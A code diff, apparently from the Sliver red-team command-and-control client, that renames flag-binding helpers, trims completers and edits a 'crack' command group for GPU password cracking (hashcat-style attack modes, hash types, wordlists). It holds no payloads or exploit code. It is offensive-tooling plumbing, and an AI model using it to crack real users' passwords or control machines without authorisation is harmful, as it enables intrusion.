func Bind(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set. flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
flags(flagSet) // Let the user bind any number of flags to it. flags(flagSet) // Let the user bind any number of flags to it.
@@ -43,21 +44,22 @@ func Bind(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.
} }
} }
// BindFlagCompletions is a convenience function for adding completions to a command's flags. // FlagComps is a convenience function for adding completions to a command's flags.
// cmd - The command owning the flags to complete. // cmd - The command owning the flags to complete.
// bind - A function exposing a map["flag-name"]carapace.Action. // bind - A function exposing a map["flag-name"]carapace.Action.
func BindFlagCompletions(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
comps := make(carapace.ActionMap) comps := make(carapace.ActionMap)
bind(&comps) bind(&comps)
carapace.Gen(cmd).FlagCompletion(comps) carapace.Gen(cmd).FlagCompletion(comps)
} }
// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key // hideCommand generates a cobra annotation map with a single
// to a comma-separated list of filters to use in order to expose/hide commands based on requirements. // console.CommandHiddenFilter key, which value is a comma-separated list
// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows. // of filters to use in order to expose/hide commands based on requirements.
// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows. // Ex: cmd.Annotations = hideCommand("windows") will hide the cmd
func RestrictTargets(filters ...string) map[string]string { // if the target session/beacon is not a Windows host.
func hideCommand(filters ...string) map[string]string {
if len(filters) == 0 { if len(filters) == 0 {
return nil return nil
} }
@@ -74,62 +76,3 @@ func RestrictTargets(filters ...string) map[string]string {
console.CommandFilterKey: filts, console.CommandFilterKey: filts,
} }
} }
// makeBind returns a commandBinder helper function
// @menu - The command menu to which the commands should be bound (either server or implant menu).
func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) {
return func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) {
found := false
// Ensure the given command group is available in the menu.
if group != "" {
for _, grp := range cmd.Groups() {
if grp.Title == group {
found = true
break
}
}
if !found {
cmd.AddGroup(&cobra.Group{
ID: group,
Title: group,
})
}
}
// Bind the command to the root
for _, command := range cmds {
cmd.AddCommand(command(con)...)
}
}
}
// commandBinder is a helper used to bind commands to a given menu, for a given "command help group".
//
// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package.
// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function.
// type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
// [ Core ]
// [ Sessions ]
// [ Execution ]
// [ Filesystem ]
// [ Info ]
// [ Network (C2)]
// [ Network tools ]
// [ Payloads ]
// [ Privileges ]
// [ Processes ]
// [ Aliases ]
// [ Extensions ]
// Commands not to bind in CLI:
// - portforwarders
// - Socks (and wg-socks ?)
// - shell ?
// Take care of:
// - double bind help command
// - double bind session commands
// - don't bind readline command in CLI.
+3 -8
View File
@@ -1,9 +1,4 @@
# client/command/completers Completers
===========
## Overview This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
Implements the 'completers' command group for the Sliver client console.
## Go Files
- `completers.go` – Provides reusable carapace completion helpers for selecting client interfaces and proxy endpoints.
-87
View File
@@ -22,7 +22,6 @@ import (
"net" "net"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra"
) )
// ClientInterfacesCompleter completes interface addresses on the client host. // ClientInterfacesCompleter completes interface addresses on the client host.
@@ -56,89 +55,3 @@ func ClientInterfacesCompleter() carapace.Action {
return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':') return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
}) })
} }
// LocalProxyCompleter gives URL completion to all flags/arguments that accept a client proxy address.
func LocalProxyCompleter() carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
prefix := ""
hostPort := carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action {
switch len(c.Parts) {
case 0:
return ClientInterfacesCompleter()
case 1:
return carapace.ActionMessage("server port")
default:
return carapace.ActionValues()
}
})
return carapace.ActionMultiParts("://", func(c carapace.Context) carapace.Action {
switch len(c.Parts) {
case 0:
return carapace.ActionValues("http", "https").Tag("proxy protocols").Suffix("://")
case 1:
return hostPort
default:
return carapace.ActionValues()
}
}).Invoke(c).Prefix(prefix).ToA()
})
}
// LocalFilePathCompleter completes local file and directory paths.
func LocalFilePathCompleter() carapace.Action {
return carapace.ActionFiles().Tag("local file path")
}
// RegisterLocalFilePathFlagCompletion registers local file-path completion for a flag.
func RegisterLocalFilePathFlagCompletion(cmd *cobra.Command, name string) {
if cmd == nil {
return
}
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
return
}
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
return
}
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
return nil, cobra.ShellCompDirectiveDefault
})
}
// RegisterLocalFilePathFlagCompletions registers local file-path completion for a list of flags.
func RegisterLocalFilePathFlagCompletions(cmd *cobra.Command, names ...string) {
for _, name := range names {
RegisterLocalFilePathFlagCompletion(cmd, name)
}
}
// RegisterLocalFilePathPositionalCompletion registers local file-path completion for a positional argument index.
func RegisterLocalFilePathPositionalCompletion(cmd *cobra.Command, index int) {
if cmd == nil || index < 0 {
return
}
if cmd.ValidArgsFunction != nil {
return
}
cmd.ValidArgsFunction = func(_ *cobra.Command, args []string, _ string) ([]string, cobra.ShellCompDirective) {
if len(args) == index {
return nil, cobra.ShellCompDirectiveDefault
}
return nil, cobra.ShellCompDirectiveNoFileComp
}
}
// RegisterLocalFilePathPositionalAnyCompletion registers local file-path completion for all positional arguments.
func RegisterLocalFilePathPositionalAnyCompletion(cmd *cobra.Command) {
if cmd == nil {
return
}
if cmd.ValidArgsFunction != nil {
return
}
cmd.ValidArgsFunction = func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
return nil, cobra.ShellCompDirectiveDefault
}
}
-12
View File
@@ -1,12 +0,0 @@
# client/command/crack
## Overview
Implements the 'crack' command group for the Sliver client console. Handlers map Cobra invocations to crack workflows such as crack files.
## Go Files
- `commands.go` – Defines the crack command hierarchy, attaching operations for stations and file management.
- `crack-files.go` – Manages cracking asset uploads, listings, and removals, handling streaming transfers and chunking.
- `crack.go` – Implements station status reporting, health checks, and list rendering for distributed cracking nodes.
- `helpers.go` – Supplies completion helpers and byte formatting utilities for crack subcommands.
-151
View File
@@ -1,151 +0,0 @@
package crack
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
crackCmd := &cobra.Command{
Use: consts.CrackStr,
Short: "Crack: GPU password cracking",
Long: help.GetHelpFor([]string{consts.CrackStr}),
GroupID: consts.GenericHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
CrackCmd(cmd, con, args)
},
}
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
bindCrackFlags(f)
})
crackStationsCmd := &cobra.Command{
Use: consts.StationsStr,
Short: "Manage crackstations",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackStationsCmd(cmd, con, args)
},
}
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
})
crackCmd.AddCommand(crackStationsCmd)
wordlistsCmd := &cobra.Command{
Use: consts.WordlistsStr,
Short: "Manage wordlists",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackWordlistsCmd(cmd, con, args)
},
}
crackCmd.AddCommand(wordlistsCmd)
wordlistsAddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a wordlist",
Run: func(cmd *cobra.Command, args []string) {
CrackWordlistsAddCmd(cmd, con, args)
},
}
flags.Bind("", false, wordlistsAddCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "wordlist name (blank = filename)")
})
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
completers.RegisterLocalFilePathPositionalCompletion(wordlistsAddCmd, 0)
wordlistsCmd.AddCommand(wordlistsAddCmd)
wordlistsRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a wordlist",
Run: func(cmd *cobra.Command, args []string) {
CrackWordlistsRmCmd(cmd, con, args)
},
}
wordlistsCmd.AddCommand(wordlistsRmCmd)
carapace.Gen(wordlistsRmCmd).PositionalCompletion(CrackWordlistCompleter(con).Usage("wordlist to remove"))
rulesCmd := &cobra.Command{
Use: consts.RulesStr,
Short: "Manage rule files",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackRulesCmd(cmd, con, args)
},
}
crackCmd.AddCommand(rulesCmd)
rulesAddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a rules file",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackRulesAddCmd(cmd, con, args)
},
}
flags.Bind("", false, rulesAddCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "rules name (blank = filename)")
})
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
completers.RegisterLocalFilePathPositionalCompletion(rulesAddCmd, 0)
rulesCmd.AddCommand(rulesAddCmd)
rulesRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove rules",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackRulesRmCmd(cmd, con, args)
},
}
carapace.Gen(rulesRmCmd).PositionalCompletion(CrackRulesCompleter(con).Usage("rules to remove"))
rulesCmd.AddCommand(rulesRmCmd)
hcstat2Cmd := &cobra.Command{
Use: consts.Hcstat2Str,
Short: "Manage markov hcstat2 files",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}),
Run: func(cmd *cobra.Command, args []string) {
CrackHcstat2Cmd(cmd, con, args)
},
}
crackCmd.AddCommand(hcstat2Cmd)
hcstat2AddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a hcstat2 file",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackHcstat2AddCmd(cmd, con, args)
},
}
flags.Bind("", false, hcstat2AddCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
})
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
completers.RegisterLocalFilePathPositionalCompletion(hcstat2AddCmd, 0)
hcstat2Cmd.AddCommand(hcstat2AddCmd)
hcstat2RmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove hcstat2 file",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackHcstat2RmCmd(cmd, con, args)
},
}
carapace.Gen(hcstat2RmCmd).PositionalCompletion(CrackHcstat2Completer(con).Usage("hcstat2 to remove"))
hcstat2Cmd.AddCommand(hcstat2RmCmd)
return []*cobra.Command{crackCmd}
}
-326
View File
@@ -1,326 +0,0 @@
package crack
import (
"fmt"
"strconv"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
if len(args) > 0 {
return true
}
hasFlag := false
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
if flag.Changed && flag.Name != "timeout" {
hasFlag = true
}
})
return hasFlag
}
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
flags := cmd.Flags()
req := &clientpb.CrackCommand{}
if flags.Changed("attack-mode") {
raw, _ := flags.GetString("attack-mode")
attackMode, err := parseCrackAttackMode(raw)
if err != nil {
return nil, err
}
req.AttackMode = attackMode
}
if flags.Changed("hash-type") {
raw, _ := flags.GetString("hash-type")
hashType, err := parseHashType(raw)
if err != nil {
return nil, err
}
req.HashType = hashType
}
hashes, _ := flags.GetStringSlice("hash")
if len(args) > 0 {
hashes = append(hashes, args...)
}
req.Hashes = hashes
req.Quiet, _ = flags.GetBool("quiet")
req.HexCharset, _ = flags.GetBool("hex-charset")
req.HexSalt, _ = flags.GetBool("hex-salt")
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
req.Force, _ = flags.GetBool("force")
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
req.Status, _ = flags.GetBool("status")
req.StatusJSON, _ = flags.GetBool("status-json")
req.StatusTimer, _ = flags.GetUint32("status-timer")
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
req.MachineReadable, _ = flags.GetBool("machine-readable")
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
req.Loopback, _ = flags.GetBool("loopback")
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
req.MarkovHcstat2 = []byte(raw)
}
req.MarkovDisable, _ = flags.GetBool("markov-disable")
req.MarkovClassic, _ = flags.GetBool("markov-classic")
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
req.Runtime, _ = flags.GetUint32("runtime")
req.Session, _ = flags.GetString("session")
req.Restore, _ = flags.GetBool("restore")
req.RestoreDisable, _ = flags.GetBool("restore-disable")
if raw, _ := flags.GetString("restore-file"); raw != "" {
req.RestoreFile = []byte(raw)
}
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
for _, raw := range formats {
format, err := parseCrackOutfileFormat(raw)
if err != nil {
return nil, err
}
req.OutfileFormat = append(req.OutfileFormat, format)
}
}
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
req.Separator, _ = flags.GetString("separator")
req.Stdout, _ = flags.GetBool("stdout")
req.Show, _ = flags.GetBool("show")
req.Left, _ = flags.GetBool("left")
req.Username, _ = flags.GetBool("username")
req.Remove, _ = flags.GetBool("remove")
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
if raw, _ := flags.GetString("potfile"); raw != "" {
req.Potfile = []byte(raw)
}
if flags.Changed("encoding-from") {
raw, _ := flags.GetString("encoding-from")
enc, err := parseCrackEncoding(raw)
if err != nil {
return nil, err
}
req.EncodingFrom = enc
}
if flags.Changed("encoding-to") {
raw, _ := flags.GetString("encoding-to")
enc, err := parseCrackEncoding(raw)
if err != nil {
return nil, err
}
req.EncodingTo = enc
}
req.DebugMode, _ = flags.GetUint32("debug-mode")
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
req.KeyboardLayoutMapping = []byte(raw)
}
req.Benchmark, _ = flags.GetBool("benchmark")
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
req.SpeedOnly, _ = flags.GetBool("speed-only")
req.ProgressOnly, _ = flags.GetBool("progress-only")
req.SegmentSize, _ = flags.GetUint32("segment-size")
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
req.HookThreads, _ = flags.GetUint32("hook-threads")
req.HashInfo, _ = flags.GetBool("hash-info")
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
req.BackendInfo, _ = flags.GetBool("backend-info")
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
if flags.Changed("workload-profile") {
raw, _ := flags.GetString("workload-profile")
profile, err := parseCrackWorkloadProfile(raw)
if err != nil {
return nil, err
}
req.WorkloadProfile = profile
}
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
req.SpinDamp, _ = flags.GetUint32("spin-damp")
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
req.Skip, _ = flags.GetUint64("skip")
req.Limit, _ = flags.GetUint64("limit")
req.Keyspace, _ = flags.GetBool("keyspace")
if raw, _ := flags.GetString("rules-file"); raw != "" {
req.RulesFile = []byte(raw)
}
req.GenerateRules, _ = flags.GetUint32("generate-rules")
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
req.CustomCharset1, _ = flags.GetString("custom-charset1")
req.CustomCharset2, _ = flags.GetString("custom-charset2")
req.CustomCharset3, _ = flags.GetString("custom-charset3")
req.CustomCharset4, _ = flags.GetString("custom-charset4")
req.Identify, _ = flags.GetString("identify")
req.Increment, _ = flags.GetBool("increment")
req.IncrementMin, _ = flags.GetUint32("increment-min")
req.IncrementMax, _ = flags.GetUint32("increment-max")
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
req.BrainServer, _ = flags.GetBool("brain-server")
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
req.BrainClient, _ = flags.GetBool("brain-client")
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
req.BrainHost, _ = flags.GetString("brain-host")
req.BrainPort, _ = flags.GetUint32("brain-port")
req.BrainPassword, _ = flags.GetString("brain-password")
req.BrainSession, _ = flags.GetString("brain-session")
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
return req, nil
}
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
values, _ := flags.GetUintSlice(name)
if len(values) == 0 {
return nil
}
out := make([]uint32, len(values))
for i, value := range values {
out[i] = uint32(value)
}
return out
}
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
if raw == "" {
return clientpb.CrackAttackMode_STRAIGHT, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackAttackMode(numeric), nil
}
normalized := strings.ToLower(strings.TrimSpace(raw))
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
switch normalized {
case "straight":
return clientpb.CrackAttackMode_STRAIGHT, nil
case "combination":
return clientpb.CrackAttackMode_COMBINATION, nil
case "bruteforce", "brute_force", "brute-force":
return clientpb.CrackAttackMode_BRUTEFORCE, nil
case "hybrid_wordlist_mask":
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
case "hybrid_mask_wordlist":
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
case "association":
return clientpb.CrackAttackMode_ASSOCIATION, nil
case "no_attack", "none":
return clientpb.CrackAttackMode_NO_ATTACK, nil
default:
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
}
}
func parseHashType(raw string) (clientpb.HashType, error) {
if raw == "" {
return clientpb.HashType_MD5, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.HashType(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.HashType_value[key]; ok {
return clientpb.HashType(value), nil
}
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
}
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
if raw == "" {
return clientpb.CrackEncoding_INVALID_ENCODING, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackEncoding(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackEncoding_value[key]; ok {
return clientpb.CrackEncoding(value), nil
}
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
}
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
if raw == "" {
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackOutfileFormat(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
return clientpb.CrackOutfileFormat(value), nil
}
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
}
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
if raw == "" {
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackWorkloadProfile(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
return clientpb.CrackWorkloadProfile(value), nil
}
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
}
func normalizeEnumKey(value string) string {
if value == "" {
return ""
}
var builder strings.Builder
builder.Grow(len(value))
underscore := false
for i := 0; i < len(value); i++ {
ch := value[i]
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
if ch >= 'a' && ch <= 'z' {
ch -= 'a' - 'A'
}
builder.WriteByte(ch)
underscore = false
continue
}
if !underscore {
builder.WriteByte('_')
underscore = true
}
}
return strings.Trim(builder.String(), "_")
}
+28 -27
View File
@@ -25,17 +25,18 @@ import (
"io" "io"
"os" "os"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/klauspost/compress/zstd"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/klauspost/compress/zstd"
"github.com/spf13/cobra"
) )
// CrackWordlistsCmd - Manage GPU cracking stations. // CrackWordlistsCmd - Manage GPU cracking stations
func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST}) wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -54,8 +55,8 @@ func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []str
} }
} }
// CrackRulesCmd - Manage GPU cracking stations. // CrackRulesCmd - Manage GPU cracking stations
func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES}) rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -74,8 +75,8 @@ func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
} }
} }
// CrackHcstat2Cmd - Manage GPU cracking stations. // CrackHcstat2Cmd - Manage GPU cracking stations
func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -94,7 +95,7 @@ func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []strin
} }
} }
func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Size"}) tw.AppendHeader(table.Row{"Name", "Size"})
@@ -104,19 +105,19 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient)
con.Printf("%s\n", tw.Render()) con.Printf("%s\n", tw.Render())
} }
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
wordlistTable := table.NewWriter() wordlistTable := table.NewWriter()
wordlistTable.SetTitle(console.StyleBold.Render("Wordlists")) wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
wordlistTable.SetStyle(settings.GetTableStyle(con)) wordlistTable.SetStyle(settings.GetTableStyle(con))
wordlistTable.AppendHeader(table.Row{"Name", "Size"}) wordlistTable.AppendHeader(table.Row{"Name", "Size"})
rulesTable := table.NewWriter() rulesTable := table.NewWriter()
rulesTable.SetTitle(console.StyleBold.Render("Rules")) rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
rulesTable.SetStyle(settings.GetTableStyle(con)) rulesTable.SetStyle(settings.GetTableStyle(con))
rulesTable.AppendHeader(table.Row{"Name", "Size"}) rulesTable.AppendHeader(table.Row{"Name", "Size"})
hcTable := table.NewWriter() hcTable := table.NewWriter()
hcTable.SetTitle(console.StyleBold.Render("Markov Hcstat2")) hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
hcTable.SetStyle(settings.GetTableStyle(con)) hcTable.SetStyle(settings.GetTableStyle(con))
hcTable.AppendHeader(table.Row{"Name", "Size"}) hcTable.AppendHeader(table.Row{"Name", "Size"})
@@ -161,8 +162,8 @@ func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverC
) )
} }
// CrackWordlistsAddCmd - Manage GPU cracking stations. // CrackWordlistsAddCmd - Manage GPU cracking stations
func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name") name, _ := cmd.Flags().GetString("name")
var localPath string var localPath string
@@ -205,8 +206,8 @@ func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []
addCrackFile(wordlist, crackFile, con) addCrackFile(wordlist, crackFile, con)
} }
// CrackRulesAddCmd - add a rules file. // CrackRulesAddCmd - add a rules file
func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name") name, _ := cmd.Flags().GetString("name")
var localPath string var localPath string
@@ -249,8 +250,8 @@ func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
addCrackFile(rules, crackFile, con) addCrackFile(rules, crackFile, con)
} }
// CrackHcstat2AddCmd - add a hcstat2 file. // CrackHcstat2AddCmd - add a hcstat2 file
func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name") name, _ := cmd.Flags().GetString("name")
var localPath string var localPath string
